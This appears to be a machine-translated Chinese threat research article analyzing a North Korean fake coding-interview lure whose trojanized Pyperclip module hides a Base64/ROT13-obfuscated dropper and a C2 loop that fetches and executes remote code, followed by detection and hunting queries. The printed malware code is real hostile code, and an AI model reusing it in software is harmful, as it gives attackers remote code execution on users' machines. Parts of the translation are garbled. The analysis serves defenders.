Colson Wilhoit

行为准则:朝鲜利用 Python 入侵安全网络

本出版物调查了朝鲜对 Python 和精心设计的社交工程的战略性使用,揭示了他们如何通过不断发展和有效的网络攻击攻破高度安全的网络。

行为规范:朝鲜利用 Python 入侵安全网络

前言

在国家支持的网络行动的黑暗世界里,很少有威胁行为者像朝鲜民主主义人民共和国(DPRK)一样获得如此多的关注和恶名。 与朝鲜有关的威胁团体不断展示出他们运用社会工程手段和战术能力的能力。 他们的武器库最前沿有一个意想不到的武器:Python。

这种多功能的编程语言因其易用性和强大功能而备受推崇,已成为朝鲜特工寻求初步进入目标系统的工具。 这些威胁行为者通过精心设计的社会工程方案和精心伪装的 Python 代码的强大组合,成功渗透了一些世界上最安全的网络。

本出版物将研究朝鲜使用社会工程学和基于 Python 的诱饵进行初始访问的情况。 基于 Reversing Labs 团队针对其称为 VMConnect 的活动发布的研究,我们将探索一个非常近期的真实示例,剖析代码,并研究是什么使得这些攻击如此有效。 通过了解这些技术,我们旨在揭示国家支持的网络威胁的不断演变的态势,并为防御者提供打击这些威胁的知识。

关键要点

  • 朝鲜社会工程策略十分复杂,往往涉及长期的人格发展和有针对性的叙述。
  • 使用 Python 是因为它易于混淆、具有广泛的库支持,并且能够与合法的系统活动融合。
  • 这些诱饵证明了朝鲜的技术在不断进步,凸显了网络防御策略需要不断保持警惕和适应。
  • 该活动中的 Python 脚本包含允许执行系统命令以及编写和执行本地文件的模块

RookeryCapital_PythonTest.zip

该样本以“Capital One”工作面试的 Python 编码挑战为幌子进行分发。 它包含一个已知的 Python 模块,表面上看似无害。 该模块包括标准剪贴板管理功能,但也隐藏着能够窃取数据和执行任意命令的混淆代码。

攻击者使用 Base64 和 ROT13 等编码技术伪装危险功能,以逃避人工审核和自动安全扫描的检测。 该代码会到达远程服务器,以剪贴板操作为幌子下载并执行命令。 这是一个完美的例子,说明恶意功能可以多么轻易地被标准代码掩盖。

我们将逐行分析这个 Python 应用程序,揭示它如何:

  • 建立与恶意服务器的连接
  • 通过远程代码执行(RCE)执行隐藏命令
  • 使用常见的混淆技术来逃避监控
  • 嵌入持久重试机制以确保通信成功

密码管理器.py

此“Python 挑战”通过.zip文件提供,其中包含一个名为“PasswordManager”的 Python 应用程序。 该应用程序主要由一个主脚本PasswordManager.py和两个 Python 模块PyperclipPyrebase组成。

首先检查README.md文件,很明显这是某种面试挑战或评估,但立即引起我们兴趣的是以下几行:

这很有趣,因为他们想确保在用户进行任何可能导致某些功能中断或变得明显的更改之前运行该应用程序。

PasswordManager.py文件看起来像是一个基本的 Python 密码管理器应用程序的组成部分。 当然,正如我们上面提到的,应用程序将两个第三方模块( PyperclipPyrebase )导入到这个主脚本中。

Pyperclip module

Pyperclip模块有两个文件: __init__.py__main__.py

在 Python 中,模块通常由多个文件组成,其中两个重要的是__init__.py__main__.py__init__.py文件初始化 Python 包,允许其在导入时发挥作用,而__main__.py文件允许模块作为独立程序运行。

初始化.py

__init__.py 是第一个要导入的模块,主要用于在各个平台(Windows、macOS、Linux 等)上进行剪贴板操作。 该代码的大部分内容旨在检测平台(Windows、Linux、macOS)并提供适当的剪贴板处理功能(复制、粘贴),依赖于本机实用程序(例如,macOS 的pbcopy 、Linux 的xclip )或 Python 库(例如,gtk、PyQt4/PyQt5)。

导入揭示了来自诸如base64codecssubprocesstempfile等库的潜在有趣或可疑的功能。 base64模块提供编码或解码功能,可用于隐藏或混淆敏感信息。 当与codecs (另一个常用于编码或解码文本的模块,在本例中,使用 ROT13 密码)配对时,很明显该脚本正在操纵数据以逃避检测。

subprocess模块的存在尤其令人担忧。 该模块允许脚本运行系统命令,为在机器上执行任意代码打开大门。 该模块可以执行外部脚本、启动进程或安装恶意二进制文件。

tempfile module的加入也值得注意。 该模块会创建可写入和执行的临时文件,这是恶意软件用来隐藏其踪迹的常用技术。 该模块表明脚本可能正在将内容写入磁盘并在临时目录中执行。

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

初始化.py 导入

分析脚本后,很快就发现一个分配给变量req_self的大型 base64 编码 blob。

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

解码这个 Base64 编码的字符串会发现一个全新的、独立的 Python 脚本,其中包含一些非常有趣的代码。

混淆的 Python 脚本

该脚本导入了几个标准库(例如, requestsrandomplatform ),允许它生成随机数据,与操作系统交互,编码/解码字符串,并发出网络请求。

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

编码的 Python 脚本导入

该脚本包含两个名为corand_n的函数。

co函数作为辅助函数运行。 此函数检查当前操作系统 ( osn )。 它使用带有 ROT13 编码的codecs.decode函数来解码字符串Jvaqbjf ,结果为Windows 。 如果操作系统是 Windows,则返回0 ;否则,返回1

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co 编码的 Python 脚本中的函数

可以在 macOS 或 Linux CLI 上或使用ROT13 CyberChef 配方轻松解码 ROT13。

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

rand_n函数根据字符串123456789生成一个 8 位伪随机数。 这很可能被用作与远程服务器进一步通信的标识符( uid )。

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n 编码的 Python 脚本中的函数

在函数声明之后,脚本定义了一组将使用的具有硬编码值的变量。

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

编码的 Python 脚本变量

  • uid:使用以下方式生成的随机标识符 rand_n()
  • oi:操作系统平台
  • url:使用 ROT13 解码后,该链接解析为恶意服务器的 URL( https://akamaitechnologies[.]online )。 威胁行为者显然试图通过对 URL 进行编码并将其伪装成看似合法的服务(Akamai,一家知名的 CDN 提供商)来逃避检测。
  • data:这是发送到服务器的数据有效负载。 它包括一个解码的字符串( Amazon[.]com )、随机的 uid 以及用于检查操作系统是否为 Windows 的co(oi)的结果。

脚本的最后一部分是主要的 while 循环。

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

编码的 Python 脚本 main while 循环

第一个 try 块向恶意服务器(url)发送带有标头和数据的 HTTP POST 请求。 如果服务器响应的状态代码不是 200 OK,则脚本将等待 60 秒并重试。

否则,如果响应以解码的字符串“Google.com”开头 并且响应长度大于 15,它会提取响应的 base64 编码部分。 然后解码该部分并使用exec(compile(dec_res, '', 'exec'), globals())执行解码后的脚本。 这使得攻击者可以发送任意 Python 代码在受害者的机器上执行。

在循环结束时,它会使用随机 uid 和用于与远程服务器通信的 URL 设置全局变量。 这将在稍后执行下载的有效负载时使用。

现在我们了解了编码的 Python 脚本的用途,让我们回到__inity__.py脚本并分解执行 base64 编码部分的函数。

真实性.py

回到__inity__.py脚本中,我们可以查找对req_self变量的任何其他引用,以查看该脚本对该编码的 Python 脚本执行的操作。 我们在定义为cert_acc函数中找到一个单一引用。

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
ct_type = platform.system()

此变量使用platform.system()函数检索当前操作系统类型(例如,Windows、Linux、macOS 的 Darwin)。 该值存储在ct_type变量中。

l_p = tempfile.gettempdir()

该变量调用tempfile.gettempdir() function ,返回系统临时目录的路径。 该目录通常用于存储系统或程序创建并在重启时删除的临时文件。 该值被分配给l_p

if-else块利用编解码器库解码函数使用 ROT13 解码字符串Jvaqbjf ,将其转换为Windows 。 这将检查系统类型是否为 Windows。 如果系统是 Windows,代码会将 ROT13 解码的字符串(解码后为\eronfr.gzc\rebase.tmp )附加到临时目录路径l_p 。 然后,它构造一个命令header_ops ,该命令可能将解码后的push_opr变量(也使用 ROT13)与路径结合起来。

如果系统不是 Windows,它会附加一个类似 Unix 的文件路径/eronfr.gzc (解码后为/rebase.tmp ),并以类似的方式使用push_ops构造一个命令。 这部分代码旨在根据操作系统运行不同的有效载荷或命令。

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

接下来的几个语句,从request_开始,用于将我们已经分析过的 Base64 编码的 Python 脚本写入 disk in the temporary directory. This code opens a new file in the temporary directory ( l_p ), which was previously set depending on the system type. The variable req_self`(也是一个 Base64 编码的字符串)并解码为其原始形式。 将解码后的内容写入文件,并关闭文件。

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

该函数的最终try块有助于执行编码的 Python 脚本。

如果系统类型是 Windows,代码将尝试使用subprocess.Popen function执行文件(在header_ops中构建)。 DETACHED_PROCESS标志确保该进程独立于父进程运行,从而更难跟踪。

如果系统不是 Windows,它会使用不同的执行方法( subprocess.Popenshell=True )运行文件,这在类 Unix 系统(Linux/macOS)中更为常见。 preexec_fn=os.setpgrp使进程不受终端中断的影响,允许其在后台运行。

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

cert_acc函数执行模糊处理的 Python 脚本,该脚本检索要在 cert_acc 函数中执行的命令。

Pyperclip程序包中的脚本表现出明显的恶意行为迹象,它使用 ROT13 和 Base64 编码等混淆技术来隐藏其真实意图。 它识别操作系统并相应地调整其操作,写入磁盘并在系统临时目录中执行混淆的 Python 脚本。 该脚本与远程服务器建立通信,实现远程代码执行(RCE)并允许攻击者发送进一步的命令。 这个精心隐藏的过程确保脚本秘密运行,避免被发现,同时对受感染的机器保持有效的 C2(命令和控制)。

竞选交集

当我们发现这个样本时,我们还遇到了与其代码实现和我们在野外观察到的以前的活动诱饵相匹配的其他样本。

这一诱饵再次伪装成以工作面试为幌子进行的 Python 编码挑战。 它的Python代码实现与我们上面分析的代码完全匹配,并且根据描述和文件名,它与Mandiant描述的“ CovertCatch ”诱饵相匹配。

下一个诱饵与之前的不同,但与我们之前看到和写过的 Python 代码实现相匹配。 去年,我们揭露了针对加密货币开发人员和工程师的名为“ KandyKorn ”的恶意软件。

检测、搜寻和缓解策略

检测和减轻此类混淆的恶意代码及其行为需要结合主动的安全措施、监控和用户意识。

针对这些诱饵和初始访问活动的最佳缓解策略是教育您的用户了解朝鲜等威胁行为者为获取代码执行而采用的广泛、有针对性的方法。 了解这些活动并能够识别它们,并在执行之前强调正确的代码分析,特别是当涉及到像这样的第三方应用程序时,来自“招聘人员”,“开发者论坛”,“Github”等,将为防御这些攻击提供坚实的基础。

具体来说,就此示例而言,我们可以围绕代码执行机制的行为以及与该活动相关的潜在用例编写一些不同的检测。 虽然这些查询是特定于 macOS 的,但您可以采用它们并对其进行修改以检测 Windows 上的相同活动。

[检测] Python 子进程 Shell 临时文件执行和远程网络连接

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

此规则查找__init__.py样本将模糊处理的 Python 脚本写入磁盘并利用subprocess.Popen方法时表现出的特定行为,将 shell 变量设置为 True,以执行连接到远程服务器的 Python 脚本来检索和执行命令。

[狩猎] 在临时目录中创建 Python 可执行文件

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

如果威胁行为者试图使用此功能在脚本中已指定的临时目录中下载可执行负载,我们可以使用此规则通过 Python 在临时目录中查找可执行文件的创建。

[Hunt] 通过 Python 进行交互式 Shell 执行

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

威胁行为者可以使用执行功能在目标系统上打开交互式 shell,以执行后期利用操作。 我们已经看到民族国家行为者采用像这样的交互式外壳。 我们可以使用此规则来寻找通过 Python 创建这个交互式 shell。

[搜寻] 可疑的 Python 子进程执行

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

威胁行为者还可以使用此代码执行功能直接执行系统二进制文件,以实现各种后利用目标或操作。 该规则寻找一些不常用的本地系统工具的直接执行,尤其是通过 Python。

结论和未来趋势

正如我们在整个分析过程中所探讨的那样,朝鲜民主主义人民共和国(DPRK)已经成为国家支持的网络行动中一支强大的力量。 他们将社会工程学与基于 Python 的诱饵相结合,这种方法已被证明在具有广泛安全成熟度的组织中取得成功。

他们使用 Python 进行初始访问操作证明了网络威胁的不断演变的性质。 通过利用这种多功能且广泛使用的编程语言,威胁行为者找到了一种强大的工具,它既提供了开发的简单性,又提供了混淆的复杂性。 事实证明,Python 的这种双重特性对于网络安全防御者来说是一个重大挑战。

我们对这一最新样本的深入研究为了解朝鲜威胁行为者的当前策略、技术和程序 (TTP) 提供了宝贵的见解。 本案例研究说明了社会工程学和定制的 Python 脚本如何协同工作作为高效的初始访问载体。

随着国家支持的网络行动的推进,研究朝鲜的方法所获得的见解变得越来越有价值。 网络安全专业人员必须对社会工程学和基于 Python 的复杂工具的双重威胁保持警惕。 防御这些威胁需要采取多方面的方法,包括强大的技术控制、对社会工程策略进行全面的员工培训,以及专注于识别可疑 Python 活动的高级威胁检测功能。

随着我们不断前进,促进网络安全社区内的合作并分享应对这些复杂威胁的见解和策略至关重要。 我们希望通过集体警惕和自适应防御机制,在这场针对朝鲜等国家支持的行为者的持续网络博弈中保持领先。

资源